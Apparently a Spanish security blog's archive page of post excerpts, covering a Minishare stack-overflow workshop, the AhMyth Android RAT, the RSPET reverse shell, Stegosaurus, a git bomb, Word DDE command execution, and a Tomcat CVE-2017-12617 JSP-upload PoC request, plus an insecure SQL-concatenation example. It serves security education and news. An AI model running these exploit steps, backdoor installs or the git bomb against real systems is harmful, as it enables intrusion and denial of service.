Taller de iniciación al exploiting: desbordamiento de pila (2) - controlando el flujo de la aplicación

En la entrada anterior llegamos a sobrescribir el EIP (puntero a la siguiente instrucción) con 41414141, la representación hexadecimal de AAAA, por lo que conseguimos crashear el programa vulnerable (Minishare) al desbordar la pila.
Recordar que el rango para disparar la vulnerabilidad era de 2000 caracteres.

Ahora el objetivo es saber exactamente dónde está el EIP, es decir el offset, para escribirlo de forma controlada con un salto a nuestro shellcode.
Para ello vamos a generar con mona.py un patrón o mapa de caracteres único para que cuando sobrescribamos de nuevo el EIP podamos saber exactamente la posición u offset del EIP. Primero ejecutaremos en la consola de Immunity:

 '!mona pattern_create 2000'


y echamos un vistazo al patrón generado en C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt:

Taller de iniciación al exploiting: desbordamiento de pila (1) - sobrescribiendo el EIP

En 1996 un tal Elias Levy (también conocido como Aleph One y el que fuera webmaster de underground.org y moderador de la lista Bugtraq) publicó en el número 49 del mítico ezine Phrack el paper "Smashing the Stack For Fun & Profit" que popularizó la vulnerabilidad de desbordamiento de búfer de pila.

Con el paso del tiempo han ido surgiendo diversas protecciones contra esta vulnerabilidad como ASLR, DEP o NX, pero la técnica para explotarla sigue siendo básicamente la misma: se trata de escribir más datos en un búfer de la pila de los que tiene asignado (longitud fija), corrompiendo los datos adyacentes de tal manera que es posible inyectar código ejecutable en el programa que está corriendo y tomar control del proceso.

Si queréis repasar un poco la teoría os recomiendo echar un vistazo al artículo original "Smashing the Stack For Fun & Profit", o al reditado en Whiskey Tango Foxtrot también sintetizado en castellano en el blog de elhacker.net por el-brujo.
En nuestro caso y con permiso de Antonio Pérez, vamos a repetir los ejercicios del taller "Palizón a la pila" de la pasada edición de la Navaja Negra. De esta manera y con unos sencillos pasos veréis desde el bloqueo inicial del programa por el primer desbordamiento hasta la ejecución intencionada del shellcode, una excelente manera de adentrarse en el mundo del exploiting.

El software que explotaremos es la versión 1.4.1 de Minishare, un pequeño servidor web para compartir ficheros de forma sencilla escrito en MinGW (C/C++) y que funciona en Windows. A la vulnerabilidad se le asignó el CVE-2004-2271 y se trata de un desbordamiento de búfer de pila que se provoca mediante una petición HTTP GET larga.

Para instalar el laboratorio necesitaremos:

- Windows XP SP1 (es un S.O. obsoleto pero para las prácticas de BoF viene genial)
- Immunity Debugger con el script Mona script:
  . http://debugger.immunityinc.com/ID_register.py
  . https://github.com/corelan/mona
- Minishare 1.4.1 instalado en el WinXP
  . https://www.dropbox.com/s/zhivgb79wtbce37/minishare-1.4.1.exe?dl=0

Nada más ejecutar la aplicación de Minishare el servidor se levantará en el puerto 80:


Una vez que tenemos el servidor corriendo, abrimos el depurador Inmunity para analizar el estado de la pila y el valor de registros como el EIP (puntero de instrucción) y el ESP (puntero de pila). También podremos analizar qué sucede cuando la aplicación se ejecuta o falla.

AhMyth, un RAT para Android libre y de código abierto

AhMyth ha liberado el código de un Rat para Android. Bautizado con su mismo nombre, consta de dos partes:

- Lado del servidor: aplicación de escritorio basada en el framework electron (panel de control)
- Lado del cliente: aplicación de Android (puerta trasera)

Para instalarlo tienes dos opciones:

Desde el código fuente

Requisitos:
- Electron (para iniciar la aplicación)
- Java (para generar el apk del backdoor)
- Electron-builder y electron-packer (para hacer los binarios para OSX,WINDOWS,LINUX)

Pasos:
1. git clone https://github.com/AhMyth/AhMyth-Android-RAT.git
2. cd AhMyth-Android-RAT/AhMyth-Server
3. npm start

Desde los binarios

Requisitos:
- Descargar un binario desde https://github.com/AhMyth/AhMyth-Android-RAT/releases
- Java (para generar el apk del backdoor)

Vídeo tutorial:

Fuente: https://github.com/AhMyth/AhMyth-Android-RAT

Qué es lo que hay que saber (de momento) de la nueva amenaza de #ransomware #BadRabbit

Algunos han despertado hoy reviviendo viejas pesadillas con el ransomware...  los sistemas del Metro de Kiev, el aeropuerto de Odessa y varias organizaciones en Rusia confirmaban que sus sistemas informáticos se habían visto bloqueados debido a que los archivos del sistema operativo habían sido cifrados por un ransomware, esta vez el turno es del denominado BadRabbit.

La amenaza se extiende a otros países de Europa del Este: Alemania, Turquía, Bulgaria, Montenegro... conviene fijar la mirada a este nuevo y lucrativo malware, para lo que me quedo con la síntesis del repositorio de Github de Royce Williams y las noticias que van surgiendo. Que el ransomware nos pille confesados...

Breve descripción:

BadRabbit es un ransomware que es capaz de propagarse de forma local a través de SMB (rescate: $ 0.05 BTC).


Hasta ahora, es dirigido principalmente a Rusia y Ucrania, además de otros países (Alemania, Turquía, Bulgaria, Montenegro). Aunque parece que no se autopropaga a nivel mundial,  podría dirigirse a objetivos seleccionados a propósito.
Las mitigaciones son similares a las de Petya / NotPetya.

Infección inicial:

Aparece como una actualización de flash falsa:

https://twitter.com/jiriatvirlab/status/922835700873158661/photo/1
https://twitter.com/darienhuss/status/922847966767042561



Es probable que las infecciones sean del tipo watering-hole/drive-by, pero también pueden ser dirigidas selectivamente.

Objetivos:

Mayormente afecta a .ru /.ua hasta ahora. Medios de comunicación, transporte, gobierno pueden haber sido los primeros objetivos.
 

Watering holes en Alemania, Turquía, Bulgaria y Montenegro.
Avast dice también Polonia y Corea del Sur?


https://twitter.com/Bing_Chris/status/922932810725326848


Stegosaurus: una herramienta de esteganografía para embeber payloads dentro de bytecode de Python

Stegosaurus es una herramienta de esteganografía que permite incrustar payloads en archivos Python de bytecode (pyc o pyo).

El proceso de incorporación no altera el comportamiento del tiempo de ejecución o el tamaño del fichero portador (en adelante carrier) y, por lo general, da como resultado una codificación de baja densidad.

El payload se dispersa en todo el bytecode, por lo que herramientas como strings no mostrarán el payload. El módulo dis de Python devolverá los mismos resultados para el bytecode antes y después de que Stegosaurus se utilice para incrustar un payload.

En este momento, no se conocen trabajos previos o métodos de detección para este tipo de entrega de payloads.

Stegosaurus requiere Python 3.6 o posterior.

Uso
$ python3 -m stegosaurus -h
usage: stegosaurus.py [-h] [-p PAYLOAD] [-r] [-s] [-v] [-x] carrier

positional arguments:
  carrier               Carrier py, pyc or pyo file

optional arguments:
  -h, --help            show this help message and exit
  -p PAYLOAD, --payload PAYLOAD
                        Embed payload in carrier file
  -r, --report          Report max available payload size carrier supports
  -s, --side-by-side    Do not overwrite carrier file, install side by side
                        instead.
  -v, --verbose         Increase verbosity once per use
  -x, --extract         Extract payload from carrier file

Ejemplo

Supongamos que queremos incrustar un payload en el bytecode del siguiente script en Python, denominado example.py:
"""Example carrier file to embed our payload in.
"""

import math

def fibV1(n):
    if n == 0 or n == 1:
        return n
    return fibV1(n - 1) + fibV1(n - 2)

def fibV2(n):
    if n == 0 or n == 1:
        return n
    return int(((1 + math.sqrt(5))**n - (1 - math.sqrt(5))**n) / (2**n * math.sqrt(5)))

def main():
    result1 = fibV1(12)
    result2 = fibV2(12)

    print(result1)
    print(result2)

if __name__ == "__main__":
    main()

Usando la Raspberry Pi para bloquear publicidad

Hola a tod@s,

Voy a explicar como bloquear los molestos anuncios que nos acosan en nuestra navegacion por Internet, utilizando una Raspberry con Debian y Bind, aunque probablemente estos mismos pasos sirvan para cualquier otra distro Linux.

Hasta relativamente hace poco, para bloquear los anuncios usaba componentes instalados en cada dispositivo de la red, lo que es complejo de gestionar. Debido a esto, me propuse implementar un método centralizado de bloquear los anuncios.

Ya que tengo una Raspberry en mi red que ya utilizaba como dns caché, decidí aprovecharla para tratar de bloquear las consultas de dominios que sirven anuncios.

Para evitar que este post se haga muy largo, doy por hecho que ya tenéis instalado Debian/Raspbian en vuestra Raspberry. Una vez tenemos el sistema funcionando, lo primero seria instalar bind.

apt-get install bind9

Aunque este post no va sobre caché dns, ya que vamos a usar bind, vamos a sacarle el máximo provecho. Para que bind funcione como cache dns, y asi poder acelerar nuestras consultas dns, tenemos que modificar el archivo /etc/bind/named.conf.options:

    forwarders {
         208.67.222.222;
         208.67.220.220;
    };

Yo uso los dns de opendns, pero podéis establecer los que mas os gusten.

En este momento ya tendríamos un dns funcional que podríamos usar en cualquier máquina de la red local.

RSPET, una shell inversa que te ayudará en la post-explotación

RSPET (Reverse Shell and Post Exploitation Tool) es una shell inversa basada en Python y equipada con funcionalidades que ayudan en un escenario de post-explotación. Actualmente la incluyen las distros BlackArch Linux (desde 2016.04.28) y ArchStrike. Sus características actuales son:

- Ejecución remota de comandos
- Cifrado TLS de la comunicación cliente-servidor
- Transferencia de archivos/binarios (en ambos sentidos) sobre el tráfico cifrado enmascarado
- Herramienta de flooding UDP
- Herramienta de spooofing UDP: usa RAW_SOCKETS por lo que para utilizarla el cliente debe ejecutarse en un sistema operativo que los admita (la mayoría basados en Unix) y con privilegios de root. También hay que tener en cuenta que la mayoría de los ISP tienen implementaciones que eliminarán o reestructurarán los paquetes falsificados
- Administración de hosts; transferencias y flooding UDP desde varios o todos los hosts conectados
- Diseño de código modular para permitir una fácil personalización
- El script de cliente ha sido probado y es compatible con PyInstaller (se puede convertir en .exe)
- Soporte completo del plugins del lado del servidor (ver documentación online)
- Administración de plugins, incluida la capacidad de instalar (descargar) y cargar dinámicamente plugins.
- RESTful API para el módulo de servidor

Despliegue:

rspet_server.py se encuentra en la máquina del atacante y se ejecuta para aceptar conexiones
rspet_client.py se encuentra en la(s) máquina(s) infectada(s) e iniciará la conexión y esperará el input.

Buscando "Shadows Admins" en el DA con ACLight

ACLight de Asaf Hecht (@Hechtov) de CyberArk Labs es un script para la búsqueda avanzada de cuentas privilegiadas incluidos los llamados "Shadows Admins" o "Administradores en la Sombra", cuentas ocultas y privilegiadas que ignoran las organizaciones y que suponen un riesgo para toda la red. Se dice que estas cuentas están "ocultas" porque no son miembros de grupos privilegiados del DA, si no que han ganado sus privilegios a través de la asignación directa de permisos (usando ACLs sobre los objetos del DA).


Desde el punto de vista del atacante estas cuentas son muy "golosas" porque facilitan privilegios administrativos de manera casi desapercibida. Es decir, en vez de crear una nueva cuenta en el grupo "Domain Admins", es mucho más discreto usar un usuario existente y asignarle permisos directamente sin añadirle a ningún grupo.

ACLight ayuda a encontrar estos "Shadows Admins" consultando al Active Directory (AD) por las ACL de sus objetos y luego filtrando y analizando los permisos sensibles de cada uno. El resultado es una lista de cuentas privilegiadas de dominio en la red (desde la perspectiva avanzada de ACL del AD).

Además se puede ejecutar el escaneo con cualquier usuario normal (podría ser un usuario no privilegiado) y escanear automáticamente todos los dominios del bosque de la red auditada.

Su uso es muy sencillo:

Opción 1:
- doble clic en "Execute-ACLight.bat".

Opción 2:
- Abrir PowerShell (con el parámetro -ExecutionPolicy Bypass)
- Ir a la carpeta de "ACLight"
- “Import-Module '.\ACLight.psm1'”
- “Start-ACLsAnalysis”

Una vez ejecutado, encontraremos los siguientes archivos de resultados:

"Accounts with extra permissions.txt": es una lista directa e importante de las cuentas privilegiadas que se descubrieron en la red escaneada.
- "All entities with extra permissions.txt": el archivo enumera todas las entidades privilegiadas que se descubrieron, incluyendo no solo las cuentas de usuario sino también otras entidades "vacías" como grupos vacíos o cuentas antiguas.
- "Privileged Accounts Permissions - Final Report.csv": ieste es el informe de resumen final: en este archivo, encontraremos cuáles son los permisos sensibles exactos que tiene cada cuenta.
- "Privileged Accounts Permissions - Irregular Accounts.csv" : Similar al informe final pero solo las cuentas privilegiadas que tienen asignaciones directas de permisos de ACL (no a través de su membresía grupal).
- "[Domain name] - Full Output.csv" - ACLs en raw para cada dominio explorado.

Fuentes:
- Shadow Admins – The Stealthy Accounts That You Should Fear The Most
- Presentación en la conferencia InfoSecurity
- Repositorio Github: https://github.com/cyberark/ACLight

La lista de comprobaciones básica para programar de forma segura y evitar la mayoría de vulnerabilidades del TOP10 de OWASP

Recientemente veíamos una entrada en Digital Munition en el que se muestran diferentes malas prácticas en programación vistas en aplicaciones Java EE. Estas malas prácticas se derivan en vulnerabilidades comunes, muchas de ellas en el top 10 de OWASP. La siguiente tabla sintetiza las causas principales de estas vulnerabilidades con las técnicas de mitigación correspondientes, un imprescindible para el desarrollo seguro:

1. Autenticación

Prácticas inseguras Prácticas seguras
Concatenación de peticiones SQL para validación de login.

La concatenación de cadenas con los datos proporcionados por el usuario es siempre propensa a permitir ataques de inyección de SQL.


String username=request.getParameter(“username”);
String password=request.getParameter(“password”);
String query = “SELECT * FROM users WHERE username = “+username+” AND password=”+password;
Statement st = con. createStatement();
Results res = st.executeQuery(query);
Uso de peticiones parametrizadas o precompiladas.

Para evitar inyecciones SQL se recomienda el uso de sentencias preparadas y consultas parametrizadas.


String username=request.getParameter(“username”);
String password=request.getParameter(“password”);
String query = “SELECT * FROM users WHERE username =? ANDpassword=?“;
PreparedStatement ps = con.prepareStatement(query);
ps.setString(1, username);
ps.setString(2, password);
Results res = ps.executeQuery();
Falta de autenticación en el acceso a páginas/acciones internas.

Muchas veces, las aplicaciones no implementan autenticación para las páginas/acciones internas, lo que da como resultado el acceso a páginas/acciones internas sin iniciar sesión/una sesión válida.
Implementar código de autenticación en todas las páginas internas haciendo uso de variables de sesión

// Después de iniciar sesión con éxito. Establecer la identidad del usuario en una variable de sesión.
session.setAttribute(“username”, username);
// En cada solicitud, verificar si la identidad del usuario está presente en la sesión.
String username = (String)session.getAttribute(“username”);
if(username == NULL)){
response.sendRedirect(“ErrorPage.java”);
return; }
No restricción de los intentos fallidos de inicio de sesión.


Si la aplicación no restringe los intentos de inicio de sesión inválidos, permitirá que el usuario pueda hacer un ataque de fuerza bruta y comprometa otras cuentas de usuario.
Realizar un seguimiento y restringir los intentos fallidos de inicio

Mantener una lista de intentos fallidos de inicio de sesión por parte de un usuario.

Establecer un límite de umbral de intentos no válidos como por ej. a 5.

Bloquear temporalmente al usuario al superar el límite de umbral.

El protocolo WPA2 de Redes Wifi ha sido hackeado: KRACK (Key Reinstallation Attack)

El investigador Mathy Vanhoef de la Universidad KU de Leuven ha descubierto una manera de vulnerar el protocolo WPA2 de la redes Wifi (IEEE 802.11i), el más extendido y seguro por defecto, que puede derivar en el descifrado, duplicación e inyección de paquetes, el secuestro de conexiones TCP y/o la inyección de contenido HTTP en la red wifi sin necesidad de conocer la contraseña de la misma.

Dicho fallo de seguridad ha sido bautizado como KRACK (Key Reinstallation Attack) por el tipo de ataques realizados contra las redes WPA2.

Las vulnerabilidades descubiertas se encuentran en la etapa del Handshake de la Wifi, cuyos objetivos son el descubrimiento de red, la autenticación mutua entre cliente y router o punto de acceso (AP) y la negociación de las keys de sesión, y la selección de la suite y el algoritmo de cifrado de los data frames. Durante este proceso de intercambio de claves es posible lograr que los clientes reinstalen una clave ya intercambiada, que debería ser de un solo uso, permitiendo así reiniciar los parámetros asociados a la conexión, y esto se consigue forzando el reenvío de ciertos paquetes del Handshake por parte del AP.  Los ataques se producen debido a la reutilización de la misma clave con valores "Nonce" utilizados previamente en las comunicaciones entre cliente y AP, y de esta forma mensajes con contenidos conocidos son reenviados y se podrían descifrar al utilizar la misma clave.

Todas las redes Wifi WPA2 utilizan estos handshake por lo que todas están afectadas.

En este enlace se encuentra la presentación del mismo autor en la pasada Asia CCS sobre vulnerabilidades en el 4-way Handshake en Wifi WPA2 descubiertas con anterioridad y que han acabado llevando a KRACK: http://papers.mathyvanhoef.com/asiaccs2017-slides.pdf

La investigación sobre KRACK será presentada oficialmente este otoño en las conferencias Computer and Communications Security (CCS) y Black Hat Europe, aunque todo su trabajo se encuentra explicado en la siguiente página web: 
 

Impacto

El siguiente gráfico sacado del White Paper oficial en el que se presenta la vulnerabilidad resume el impacto de los Key Reinstallation Attack para todos los crifrados WPA2 (WPA-TKIP, AES-CCMP, y GCMP) usados en los distintos tipos de Handshake disponibles: 
- 4-way Handshake
- Fast BSS Transition (FT) handshake
- Group Key Handshake.

Lo que faltaba a tu arsenal de DoS... ¡llegan las bombas git!

Kate Murphy ha publicado un interesante repositorio al que podríamos llamar "bomba git" el cual es imposible clonar porque el proceso del Git quedará colgado hasta cerrarse o, peor, porque nos quedaremos sin memoria hasta incluso tener que reiniciar...

$ git clone https://github.com/Katee/git-bomb.git

Si navegais por el repositorio, os dareis cuenta de que está formado por sólo 12 objetos. Entonces, ¿cómo un repositorio tan pequeño hace que git se quede sin memoria? El secreto es que git desduplica "blobs" (que se utilizan para almacenar archivos) para hacer los repositorios más pequeños y permite el uso del mismo blob cuando un archivo permanece sin cambios entre commits; y lo mismo con objetos "árbol" o tree (que definen la estructura de directorios en un repositorio).
'git-bomb' trata de hacer mil millones de archivos, sin embargo, sólo tiene 10 referencias a la blob de archivos y sólo tiene 10 objetos de árbol en total.
Es muy parecido al ataque de "mil millones de risas" también llamado "bomba XML", de ahí el nombre de "bomba git".

Estructura

En la parte inferior hay un archivo de blob que contiene "one laugh":
$ git show 5faa3895522087022ba6fc9e64b02653bd7c4283
one laugh

Luego hay un objeto de árbol que se refiere a este blob 10 veces:
$ git ls-tree 6961ae061a9b89b91162c00d55425b39a19c9f90
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f0
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f1
# … snipped
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f9

En el medio tendremos 9 capas de objetos de árbol que se refieren al objeto de árbol debajo de ellos (aquí está el objeto del árbol superior):
$ git ls-tree 106d3b1c00034193bbe91194eb8a90fc45006377
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d0
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d1
# … snipped
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d9

Finalmente la referencia maestra sólo apunta al objeto de árbol de la parte superior:
$ git log --pretty=format:"%s | tree: %T"
Create a git bomb | tree: 106d3b1c00034193bbe91194eb8a90fc45006377

Ejecución de comandos en Ms Word sin macros (DDE)

Hace un par de días en un post de Sensepost hablaban de un sencillo método para ejecutar comandos en MsWord sin necesidad de usar macros ni ninguna vulnerabilidad de corrupción de memoria...¿magia? No, se trata de DDE...

    "Windows proporciona varios métodos para transferir datos entre aplicaciones. Un método consiste en utilizar el protocolo Dynamic Data Exchange (DDE). El protocolo DDE es un conjunto de mensajes y directrices. Envía mensajes entre aplicaciones que comparten datos y utiliza memoria compartida para intercambiar datos entre aplicaciones. Las aplicaciones pueden utilizar el protocolo DDE para transferencias de datos únicas y para intercambios continuos en los que las aplicaciones envían actualizaciones entre sí a medida que se disponen de nuevos datos".

Usar el contexto DDE en Excel o en Word con propósitos maliciosos puede ser bastante útil porque evita el filtrado de macros de los gateways de correo y las políticas corporativas de VBA. Además, la investigación de Sensepost arroja que usar DDE en MSWord es tan sencillo como agregar un campo y hacer lo siguiente:

- Vamos a "Insertar", "Elementos rápidos", "Campo":



- Elegimos "= (Formula)" y Ok:


** Cómo método alternativo simplemente podemos añadir un campo pulsando CTRL+F9

WINspect: un script en PowerShell para la auditoría de Windows

WINspect del francés Amine Mehdaoui aka A-mIn3 es un script en PowerShell v2.0 que, según reza en el README de su repositorio en Github, forma parte de un proyecto más grande para auditar diferentes áreas de entornos de Windows. Se centra en enumerar diferentes partes de una máquina Windows para identificar debilidades de seguridad y apunta a los componentes que necesitan una fortificación adicional.

Características

La versión actual de WINspect admite las siguientes características:

- Comprobación de los productos de seguridad instalados.
- Comprobación de la "secuestrabilidad" de las DLL (en el contexto de seguridad de los Usuarios autenticados).
- Comprobación de la configuración del Control de cuentas de usuario (UAC).
- Comprobación de restos de instalaciones desatendidas.
- Enumeración de partes del sistema local de archivos expuestos al mundo.
- Enumeración de usuarios y grupos de dominio con pertenencia a grupos locales.
- Enumeración de autorun de registro.
- Enumeración de servicios locales configurables por los miembros del grupo Usuarios autenticados.
- Enumeración de servicios locales para los cuales el binario correspondiente es escribible por los miembros del grupo Usuarios autenticados.
- Enumeración de  Windows Hosted Services no pertenecientes a system32 y sus DLL asociadas.
- Enumeración de servicios locales con rutas sin entrecomillar (path unquoted).
- Enumeración de tareas no programadas del sistema.

Lista TODO

- Controles de políticas de seguridad local.
- Config de parches administrativos.
- DLL cargadas.
- Conexiones establecidas/escuchando.
- Scripts de GPO expuestos.

Secuestrando una estación de radio FM con tan sólo una Raspberry Pi

Una de las bondades de las Raspberry Pi (en adelante RPi) es la capacidad de transmitir una señal de radio FM usando uno de los pines análogicos de la GPIO. Muchos hackers y fabricantes lo utilizan para la construcción de transmisores FM de corto alcance, e incluso se podría utilizar para televisión de barrido lento (Slow ScanTV, SSTV), un método de transmisión de imágenes utilizado principalmente por radioaficionados para transmitir y recibir imágenes estáticas, en blanco y negro o en color a través de la radio.

Todo lo que necesitamos es una RPi, un trozo de alambre para una antena y un poco de software.
Si bien esto se utiliza principalmente para proyectos digamos "honestos", también puede ser utilizado para fines más nefastos. WONDERHOWTO ilustra esto en un artículo bien detallado sobre cómo se puede utilizar las capacidades de transmisión FM de un RPi para secuestrar una estación de radio. Esto se conoce como "intrusión de señal de difusión", y funciona básicamente sobrepoderando la señal de una estación existente. La infame transmisión de Max Headroom que ocurrió en Chicago, Illinois en 1987 es probablemente el ejemplo más conocido de la intrusión de señales de transmisión.

Para lograr esto con una RPi, realmente sólo necesitamos un trozo de cable de unos pocos metros de largo para actuar como antena, algo de software y, opcionalmente, un dongle RTL-SDR. Todo lo que tenemos que hacer es crear un archivo de audio WAV y transmitirlo. Si la antena es lo suficientemente buena y el objetivo está lo suficientemente cerca, superará la señal de la frecuencia que está transmitiendo. Esta técnica se puede utilizar para denegar al objetivo la información que se está transmitiendo en esa frecuencia, o incluso a inyectar sin problemas información propia para engañar a los mismos. Por supuesto, esto es ilegal... ;)

Fuente: https://blog.hackster.io/hijack-fm-radio-with-a-raspberry-pi-f31f41a205f2

Las resacas de Navaja Negra #nn7ed

Llámalo condescendencia o milagro, o quizás se han alineado los astros, pero este año (y por fín) como hidalgo que cabalga a La Mancha he podido escaparme a la séptima conferencia de Navaja Negra, 5 y 7 de octubre de 2017, ¡volví a Al3acete!

Edificio José Prat, paraninfo de la UCLM de Albacete, con capacidad para 720 pax.
Para ésta mi pequeña crónica, no voy a hacer una caracterización de cada una de las charlas y talleres puesto que el formato de la conferencia y la carencia del don de la bilocación no lo permiten. Es decir, no pudimos disfrutar de todo porque se trataba de tracks muchos simultáneos repartidos entre las charlas del paraninfo y talleres en algunas de las aulas de la UCLM de Albacete. De esta manera digamos que cada uno ha de ir balontado y escribiendo su propia "aventura" de Navaja Negra. Si además añadimos el CTF tipo Jeopardy de Ka0labs nos adentramos en una auténtica encrucijada de difíciles elecciones casi cada hora. ¿Charla, taller o CTF?

En el CTF se podía participar en remoto o presencialmente pero sólo los que lo hacían de esta última forma podían optar a los premios. En mi opinión hubiese estado mejor hacerlo una semana antes, en formato abierto online y que los que optaran a los premios lo hicieran si iban a asistir al congreso, por ejemplo introduciendo algún código generado durante la compra del ticket. De esta manera los participantes del CTF tendrían la opción de asistir también a las charlas y/o los talleres durante el evento y recogerían igualmente su premio en la ceremonia de clausura correspondiente. Anyway, los que participaron salieron bastante contentos y al primer puesto volvió a ser para Patatas.

"La razón de la sinrazón que a mi razón se hace, de tal manera mi razón enflaquece, que con razón me quejo de la vuestra fermosura".

FLARE VM, distribución Windows para diseccionar malware

A muchos de nosotros seguramente nos habrá llegado alguna vez algún email con archivos adjuntos que olían a chamusquina o nos ha saltado alguna web intentando descargar alguna clase de ejecutable que olía peor que un calcetín sudado, una gran parte de estos, seguramente borraron el email con el adjunto factura_del_gas.exe con su icono de un pdf y cerraron la web que te descargaba la imagen de Ramona en paños menores (también en formato .exe, para no variar), pero muchos otros tuvieron el valor de descargarlos, ya sea con la intención de ver a Ramona o pagar la factura, o para analizar dichos binarios en busca de algo sospechoso que huele de lejos, también llamado malware.

Para analizar cualquier archivo sospechoso es muy recomendado hacerlo siempre desde una máquina virtual emulando un sistema víctima para así poder observar el comportamiento de ese malware en el entorno virtualizando, a pesar de que alguna clase de malware sea capaz de detectar su ejecución en una maquina virtual (comúnmente por procesos creado por el software de virtualización) y alterar su comportamiento para pasar desapercibido, esto no suele ser lo más común pero podría ocurrir, aún así los análisis se deben realizar en un entorno virtualizado para así también evitar que el sistema anfitrión se vea afectado por alguna de las pruebas como un análisis dinámico.

También necesitaremos para el análisis del malware diversas herramientas como desensambladores, decompiladores, software para la monitorización, debuggers... Como ya bien sabrá cualquier aficionado al reversing y al análisis de malware.

Pues gracias a FLARE VM podremos olvidarnos de tirar nuestro preciado tiempo configurando e instalando herramientas para analizar malware, ya que esta herramienta creada por la gente de FireEye se encargará de descargarnos un montón de herramientas dedicadas al análisis de malware, reversing, análisis forense...

FLARE VM es una especie de máquina virtual que se basa en Windows 7 o superior y que se encargará de armar nuestro laboratorio para el análisis de malware principalmente con herramientas para el debugging, desensamblado, decompiladores, herramientas para el análisis estático y dinámico, análisis y manipulación de red, análisis web, explotación, análisis de vulnerabilidades en aplicaciones...

Vulnerabilidad RCE en Tomcat (CVE-2017-12617): HTTP PUT + bypass jsp upload

El equipo de Apache Tomcat anunció que todas las versiones de Tomcat anteriores a la 9.0.1 (Beta), 8.5.23, 8.0.47 y 7.0.82 en todos los sistemas operativos contienen una vulnerabilidad de ejecución remota de código (RCE) si el servlet por defecto y/o el servlet WebDAV se configura con el parámetro readonly a false.

Para comprobar si un servidor es vulnerable sólo hay que chequear el init-param en el fichero web.xml correspondiente:
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>

Con esta configuración es posible que cualquier usuario NO autenticado pueda subir archivos (HTTP PUT), como decía Alejandro Ramos una "Reproducción de vulnerabilidades de los 90". Si bien el gran problema es que el filtro que impide la subida de JavaServer Pages (.jsp) se puede bypassear. Es decir, se puede subir un JSP y a continuación se puede ejecutar en el servidor.

El pasado 20 de septiembre se publicó una PoC en Tomcat Bugtracker y, aunque la mayoría de sistemas no tienen esta config por defecto, conviene parchear anyway:
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26

<% out.println("hello");%>

Exploits publicados:
- https://github.com/cyberheartmi9/CVE-2017-12617

Fuente: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

dcrawl: un web crawler multihilo y multidominio

Seguimos aumentando nuestro arsenal, esta vez con un web crawler escrito en go, llamado dcrawl, que es sencillo pero a la vez inteligente, que soporta múltiples hilos para el descubrimiento de enormes listas de nombres de dominio únicos.

dcrawl toma una URL de una web como entrada y detecta todos los enlaces en el cuerpo (body) del sitio. Cada enlace encontrado se añade a la cola. Sucesivamente, cada enlace encolado se rastrea de la misma manera, ramificando en múltiples URLs según se vayan encontrando.


Cómo funciona el crawling o rastreo inteligente:
  • Ramificación limitada por un número predefinido de enlaces por cada hostname único.
  • Número máximo de nombres de host diferentes permitidos por dominio (evita subdominios que se rastreen hasta el “infierno” como por ejemplo, blogspot.com).
  • Se puede reiniciar con la misma lista de dominios - los últimos dominios guardados se agregan a la cola de URL.
  • Rastrea solo los sitios que devuelven text/html en el Content-Type de las respuestas a HEAD.
  • Recupera el cuerpo del sitio con un tamaño máximo de 1MB.
  • No guarda los dominios inaccesibles.

VHostScan: herramienta para enumerar virtual hosts

Ya sabéis que los Virtual Hosts nos permiten servir diferentes sitios usando la misma IP. El servidor web identifica qué contenido debe servir en base a la cabecera Host que reciba del cliente y, por lo general, también tiene un contenido predeterminado por si la cabecera Host no coincide con ninguno de los hosts virtuales. Para sitios con HTTPS, se utiliza la indicación de nombre de servidor (SNI) porque el handshake del certificado se produce antes de que se envíen las cabeceras.

VHostScan es una herramienta de enumeración de virtual hosts que se puede utilizar con herramientas de pivoting, detectar escenarios de captura (catch-all), alias y páginas predeterminadas dinámicas. Su autor es el pentester autraliano codingo (autor de NoSQLMap entre otras) que la presentó por primera vez en la SecTalks BNE en septiembre de 2017 (slidedeck).

Entre sus características destaca:

- detecta rápidamente contenido único en escenarios catch-all
- localiza valores atípicos en escenarios catch-all donde los resultados tienen contenido dinámico en la página (como el tiempo)
- identifica aliases ajustando la profundidad única de los distintos matches
- admite listas de palabras estándar y una variable para introducir un nombre de host base (por ejemplo, el dev.%s de la lista de palabras se ejecutaría como dev.BASE_HOST)
- funciona sobre HTTP y HTTPS
- tiene capacidad para establecer el puerto real del servidor web para utilizar en los encabezados al pivotar a través de ssh/nc
- agrega cabeceras de respuesta simples para omitir algunos productos WAF